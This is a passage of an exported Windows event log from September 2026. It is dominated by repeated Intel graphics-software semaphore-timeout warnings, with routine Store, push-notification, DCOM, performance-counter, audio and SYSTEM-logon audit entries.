09:06:14.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:14.688\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:14.904\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:15.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:15.334\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:15.567\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:15.569\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:15.592\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 09:06:15.979\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:16.203\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:16.525\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:16.738\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:17.073\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:17.284\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:17.502\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:17.715\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:18.043\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:18.369\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:18.588\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:18.922\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:19.139\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:19.466\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:19.688\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:19.902\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:20.125\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:20.346\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:20.564\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:20.774\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:21.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:21.413\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:21.733\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:22.062\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:22.393\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:22.611\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:23.255\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:23.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:23.805\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:24.243\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:24.571\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:24.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:25.114\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:25.328\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:25.545\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:25.763\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:25.981\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:26.199\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:26.411\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:26.438\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:26.443\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:44.416\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:44.419\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:44.628\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:44.955\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:45.383\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:45.405\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:45.405\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:45.496\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:45.705\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:45.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:46.241\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:46.269\t10016\t\"The \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f permission settings do not grant \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f permission for the COM Server application with CLSID \n{9EA82395-E31B-41CA-8DF7-EC1CEE7194DF}\n and APPID \n{2ED83BAA-B2FD-43B1-99BF-E6149C622692}\n to the user NT AUTHORITY\\NETWORK SERVICE SID (S-1-5-20) from address LocalHost (\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c LRPC) running in the application container \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e SID (\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e). This security permission can be modified using the Component Services administrative tool.\"\tWarning\tSystem\tMicrosoft-Windows-DistributedCOM\n05.09.2026 09:06:46.462\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:46.673\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:46.751\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:06:46.751\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:06:47.198\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:47.525\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:47.738\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:48.068\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:48.180\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:06:48.180\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:06:48.288\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:48.621\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:48.817\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:06:48.817\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:06:48.943\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:49.155\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:49.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:49.803\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:50.025\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:50.242\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:50.684\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:50.898\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.113\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.337\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.659\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.973\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.977\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:51.983\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:06:54.177\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:54.177\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:54.194\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:54.194\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:06:59.590\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:59.619\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:59.624\t22\tSuspended: false\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:06:59.644\t22\tSuspended: true\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:06:59.644\t23\t\"Released exclusive mode resource false\nReleased offload mode resource true\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:06:59.662\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:59.674\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:06:59.679\t22\tSuspended: false\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 